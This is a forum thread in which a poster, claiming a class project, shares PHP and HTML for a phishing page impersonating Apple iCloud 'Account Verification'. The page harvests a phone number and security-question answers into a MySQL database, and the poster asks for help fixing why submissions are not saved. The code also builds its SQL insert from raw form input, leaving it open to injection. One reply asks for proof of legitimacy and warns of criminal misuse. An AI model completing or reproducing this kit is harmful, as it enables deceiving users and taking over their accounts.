Jump to content

Information not sending to database phpmyadmin


natemontgomery

Recommended Posts

Hello I'm currently working on a phishing project for my class.

 

For some reason I cannot receive the information when they press submit.

 

 

My goal: I want the user to enter the information in the form and press "submit", once "submitted", I will receive that information in my table to my database. I have done weeks worth of research on my own, please bare with me and try helping me out.

 

here is the code for both the form and the php code.

 

FORM: 

<!-- index.php -->
<?php

if (isset($_POST['submit'])) {
	
	include('connect-mysql.php');
	
	$phone = $_POST['phone'];
	$pet = $_POST['pet'];
	$parents = $_POST['parents'];
	$car = $_POST['car'];
	$sqlinsert = "INSERT INTO answers (phone, pet, parents, car) VALUES ('$phone', '$pet', '$parents', '$car')";
	
	if (!mysqli_query($dbcon, $sqlinsert)) {
		die('error inserting new record');
			} //end of my nested if statement		
		
		$newrecord = "1 record added to the database";
		
	
} // end of the main if statement

?>

<html>
	<head>
    <body>

		<title>iCloud | Account Verification</title>
		<meta charset="utf-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<!--[if lte IE 8]><script src="assets/js/html5shiv.js"></script><![endif]-->
		<link rel="stylesheet" href="assets/css/main.css" />
		<!--[if lte IE 9]><link rel="stylesheet" href="assets/css/ie9.css" /><![endif]-->
		<!--[if lte IE 8]><link rel="stylesheet" href="assets/css/ie8.css" /><![endif]-->
		<noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
	</head>
	<body class="is-loading">

		<!-- Wrapper -->
			<div id="wrapper">

				<!-- Main -->
					<section id="main">
                 
						<header>
<body id="main_body" >
	
	<div id="form_container">
    
    <h2>
    
    </h2>
		<h1><a></a></h1>
					<div class="form_description">
			<h2>Please answer your security questions.</h2>
			<p>These questions help us verify your identity. Email: <span class="caps">n*****@aol.com</span></p>
            	<p><span class="caps">Enter your phone number **********60</span>
                </p>
                		<div>
        <form>
			<input id="phone" name="phone" class="element text medium" type="text" maxlength="255" value="" style="width: 150px;"/> 
		</div> 
		</div>						
			<ul>
            <form method="post" action="index.php">
			
					<li id="li_1" >
		<label class="description" for="pet">What was the name of your first pet? </label>
		<div>
        
			<input id="pet" name="pet" class="element text medium" type="password" maxlength="255" value=""/> 
		</div> 
		</li> 		<li id="li_2" >
		<label class="description" for="parents">In what city did your parents meet in? </label>
		<div>
			<input id="parents" name="parents" class="element text medium" type="password" maxlength="255" value=""/> 
		</div> 
		</li>		<li id="li_3" >
		<label class="description" for="car">What was the model of your first car? </label>
		<div>
			<input id="car" name="car" class="element text medium" type="password" maxlength="255" value=""/> 
		</div> 
		</li>
                <div class="fieldGroup"><input name="submit" type="submit" value="Submit" style="margin-left: 20px;" /></div>
        <div class="clear"></div>

		
						</header>
					</section>

				<!-- Footer -->
					<footer id="footer">
						<ul class="copyright">
							<li>Copyright © 2015 Apple Inc. All rights reserved. </li>
							<li><a href="http://Apple.com">Apple.com</a></li>
                            <li><a href="http://www.apple.com/privacy/privacy-policy/">Privacy Policy</a></li>
                            <li><a href="http://www.apple.com/legal/internet-services/terms/site.html">Terms of Use</a></li>
                            <li><a href="http://www.apple.com/shop/browse/open/salespolicies">Sales and Refunds</a></li>
                            <li><a href="http://www.apple.com/sitemap/">Site Map</a></li>
                           
							
                         
						</ul>
					</footer>

			</div>

		<!-- Scripts -->
			<!--[if lte IE 8]><script src="assets/js/respond.min.js"></script><![endif]-->
	<script>
				if ('addEventListener' in window) {
					window.addEventListener('load', function() { document.body.className = document.body.className.replace(/\bis-loading\b/, ''); });
					document.body.className += (navigator.userAgent.match(/(MSIE|rv:11\.0)/) ? ' is-ie' : '');
				}
			</script>
            
</form>
<?php
echo $newrecord
?>

</body>
</html>

PHP CODE: 


<?php
 
DEFINE ('DB_USER', '127.0.0.1');
DEFINE ('DB_PSWD','********');
DEFINE ('DB_HOST','localhost');
DEFINE ('DB_NAME','thedata');
 
$dbcon = mysqli_connect(DB_HOST, DB_USER, DB_PSWD, DB_NAME);
 
if (!dbcon) {
die('error connecting to database');
}
 
echo 'you have connected successfully';
?>
Edited by natemontgomery
Link to comment
Share on other sites

Link to an online assignment? Picture of the homework? Something that proves you're not some evil person trying to create an actual phishing website. No offense, but you're new here and this wouldn't be the first time someone's asked for help with something criminal. Not using a proxy would be nice too.

(if you don't want it public then you can IM it to me - which you should be able to do so let me know if not)

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.